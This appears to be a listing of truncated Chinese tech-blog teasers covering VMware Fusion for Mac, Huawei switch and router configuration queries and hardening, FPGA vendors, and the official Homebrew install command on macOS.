相信之前使用过Win版系统的朋友们对这款VMware Fusion Pro for Mac应该都不会陌生&#xff0c;这款软件以其强大的功能和适配能力广受用户的好评&#xff0c;在Mac端也同样是一款最受用户欢迎之一的虚拟机软件&#xff0c;VM虚拟机mac版可以让您能够轻松的在Apple的macOS和Mac的…

华为交换机、路由器配置查询、用户界面常见配置及安全加固

华为交换机、路由器配置查询、用户界面常见配置及安全加固。 一、查询命令 1.常用的查询命令 查看当前生效的配置信息&#xff1a; display current-configuration //正在生效的配置&#xff0c;默认参数不显示。查看当前视图下生效的配置信息&#xff1a; display this //常…

数字IC基础:主要的FPGA厂商

相关阅读 数字IC基础https://blog.csdn.net/weixin_45791458/category_12365795.html?spm1001.2014.3001.5482 Xilinx&#xff08;现已被AMD收购&#xff09; Xilinx, 成立于1984年&#xff0c;是FPGA&#xff08;现场可编程门阵列&#xff09;技术的创始者和市场领导者。该公…

Mac下载Homebrew

通过command空格搜索终端打开 直接输入 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 然后输入电脑密码 然后直接回车等待安装完成 注意⚠️&#xff1a;如果出现报错/opt/homebrew/bin is not in your PATH…